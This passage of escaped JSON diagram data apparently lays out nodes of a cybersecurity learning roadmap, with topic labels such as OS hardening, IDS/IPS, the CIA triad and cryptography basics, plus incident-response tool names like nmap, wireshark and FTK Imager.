\"positionAbsolute\": {\n        \"x\": -12.821574094976086,\n        \"y\": 1970.3736998096438\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 148,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_S25EOGS3P8647zLM5i-g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -12.821574094976086,\n        \"y\": 2023.3736998096438\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Operating System Hardening\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 329\n      },\n      \"positionAbsolute\": {\n        \"x\": -12.821574094976086,\n        \"y\": 2023.3736998096438\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 329,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aDF7ZcOX9uR8l0W4aqhYn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -12.821574094976086,\n        \"y\": 2076.3736998096438\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Concept of Isolation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 329\n      },\n      \"positionAbsolute\": {\n        \"x\": -12.821574094976086,\n        \"y\": 2076.3736998096438\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 329,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FJsEBOFexbDyAj86XWBCc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -12.821574094976086,\n        \"y\": 2129.3736998096438\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basics of IDS and IPS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 329\n      },\n      \"positionAbsolute\": {\n        \"x\": -12.821574094976086,\n        \"y\": 2129.3736998096438\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 329,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bj5YX8zhlam0yoNckL8e4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 139.17842590502391,\n        \"y\": 1970.3736998096438\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Honeypots\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 139.17842590502391,\n        \"y\": 1970.3736998096438\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WG7DdsxESm31VcLFfkVTz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -12.821574094976086,\n        \"y\": 2185.203995940613\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Authentication vs Authorization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 329\n      },\n      \"positionAbsolute\": {\n        \"x\": -12.821574094976086,\n        \"y\": 2185.203995940613\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 329,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7tDxTcKJNAUxbHLPCnPFO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 321.3530388610519,\n        \"y\": 1760.4414948581157\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Blue / Red / Purple Teams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 327,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 327,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 321.3530388610519,\n        \"y\": 1760.4414948581157\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 327,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XwRCZf-yHJsXVjaRfb3R4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 321.3530388610519,\n        \"y\": 1813.4414948581157\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"False Negative / False Positive\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 327,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 327,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 321.3530388610519,\n        \"y\": 1813.4414948581157\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 327,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M6uwyD4ibguxytf1od-og\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 321.3530388610519,\n        \"y\": 1866.4414948581157\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"True Negative / True Positive\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 327,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 327,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 321.3530388610519,\n        \"y\": 1866.4414948581157\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 327,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wN5x5pY53B8d0yopa1z8F\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 321.3530388610519,\n        \"y\": 1919.4414948581157\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basics of Threat Intel, OSINT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 327,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 327,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 321.3530388610519,\n        \"y\": 1919.4414948581157\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 327,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zQx_VUS1zRmF4zCGjJD5-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 321.3530388610519,\n        \"y\": 1972.4414948581157\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Handshakes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 327,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 327,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 321.3530388610519,\n        \"y\": 1972.4414948581157\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 327,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uz6ELaLEu9U4fHVfnQiOa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 321.3530388610519,\n        \"y\": 2025.4414948581157\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand CIA Triad\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 327,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 327,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 321.3530388610519,\n        \"y\": 2025.4414948581157\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 327,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cvI8-sxY5i8lpelW9iY_5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 321.3530388610519,\n        \"y\": 2078.4414948581157\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Privilege Escalation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 327,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 327,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 321.3530388610519,\n        \"y\": 2078.4414948581157\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 327,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fyOYVqiBqyKC4aqc6-y0q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 321.3530388610519,\n        \"y\": 2131.4414948581157\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Web Based Attacks and OWASP10\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 327,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 327,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 321.3530388610519,\n        \"y\": 2131.4414948581157\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 327,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v7CD_sHqLWbm9ibXXESIK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 321.3530388610519,\n        \"y\": 2184.4414948581157\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn how Malware works and Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 327,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 327,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 321.3530388610519,\n        \"y\": 2184.4414948581157\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 327,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i4OwpsvRGbZWIo237UK4b\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -397.4653099623346,\n        \"y\": 2252.0833191122806\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tools for Incident Response and Discovery\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 346,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -397.4653099623346,\n        \"y\": 2252.0833191122806\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 346,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Hoou7kWyfB2wx_yFHug_H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -338.4653099623346,\n        \"y\": 2290.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"nmap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 66,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -338.4653099623346,\n        \"y\": 2290.2063949914645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 66,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jJtS0mgCYc0wbjuXssDRO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -390.6094413103564,\n        \"y\": 2396.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"tracert\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 94,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -390.6094413103564,\n        \"y\": 2396.2063949914645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OUarb1oS1-PX_3OXNR0rV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -153.32232134723506,\n        \"y\": 2343.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"nslookup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -153.32232134723506,\n        \"y\": 2343.2063949914645\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W7iQUCjODGYgE4PjC5TZI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -390.7265354509867,\n        \"y\": 2449.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"curl\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IXNGFF4sOFbQ_aND-ELK0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -390.7265354509867,\n        \"y\": 2449.2063949914645\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Cclbt4bNfkHwFwZOvJuLK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -337.58651732554733,\n        \"y\": 2343.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"hping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 68,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 68,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -337.58651732554733,\n        \"y\": 2343.2063949914645\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 68,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yfTpp-ePuDB931FnvNB-Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -269.4653099623346,\n        \"y\": 2290.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 66,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -269.4653099623346,\n        \"y\": 2290.2063949914645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 66,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fzdZF-nzIL69kaA7kwOCn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -200.46530996233457,\n        \"y\": 2290.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"arp\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XyaWZZ45axJMKXoWwsyFj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -200.46530996233457,\n        \"y\": 2290.2063949914645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D2ptX6ja_HvFEafMIzWOy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -146.46530996233457,\n        \"y\": 2290.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"cat\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -146.46530996233457,\n        \"y\": 2290.2063949914645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9xbU_hrEOUtMm-Q09Fe6t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -92.46530996233457,\n        \"y\": 2290.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"dd\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 41,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 41,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -92.46530996233457,\n        \"y\": 2290.2063949914645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 41,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VNmrb5Dm4UKUgL8JBfhnE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -266.58651732554733,\n        \"y\": 2343.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"head\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 56,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 56,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -266.58651732554733,\n        \"y\": 2343.2063949914645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 56,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Dfz-6aug0juUpMmOJLCJ9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -207.58651732554733,\n        \"y\": 2343.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"grep\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"762Wf_Eh-3zq69CZZiIjR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -207.58651732554733,\n        \"y\": 2343.2063949914645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Sm9bxKUElINHND8FdZ5f2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -287.4144666736619,\n        \"y\": 2449.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"wireshark\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -287.4144666736619,\n        \"y\": 2449.2063949914645\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gNan93Mg9Ym2AF3Q2gqoi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -293.0339026025639,\n        \"y\": 2396.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"winhex\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -293.0339026025639,\n        \"y\": 2396.2063949914645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wspNQPmqWRjKoFm6x_bVw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -167.0339026025639,\n        \"y\": 2449.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"memdump\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -167.0339026025639,\n        \"y\": 2449.2063949914645\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_jJhL1RtaqHJmlcWrd-Ak\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -392.4653099623346,\n        \"y\": 2503.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"FTK Imager\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 344,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 344,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -392.4653099623346,\n        \"y\": 2503.2063949914645\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 344,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bIwpjIoxSUZloxDuQNpMu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -214.0339026025639,\n        \"y\": 2396.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"autopsy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -214.0339026025639,\n        \"y\": 2396.2063949914645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XyaWZZ45axJMKXoWwsyFj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -394.18744148438975,\n        \"y\": 2290.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"dig\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -394.18744148438975,\n        \"y\": 2290.2063949914645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"762Wf_Eh-3zq69CZZiIjR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -393.3086488476025,\n        \"y\": 2343.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"tail\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -393.3086488476025,\n        \"y\": 2343.2063949914645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IXNGFF4sOFbQ_aND-ELK0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -130.0339026025639,\n        \"y\": 2396.2063949914645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ipconfig\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -130.0339026025639,\n        \"y\": 2396.2063949914645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"P_-Fdgkjhzxniq3KW8PlP\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 37.30493408913787,\n        \"y\": 2250.510869531745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basics of Cryptography\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 195\n      },\n      \"positionAbsolute\": {\n        \"x\": 37.30493408913787,\n        \"y\": 2250.510869531745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"jqWhR6oTyX6yolUBv71VC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -32.088771536615354,\n        \"y\": 2288.2039836635786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Salting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 86,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -32.088771536615354,\n        \"y\": 2288.2039836635786\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0UZmAECMnfioi-VeXcvg8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 55.911228463384646,\n        \"y\": 2288.2039836635786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hashing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": 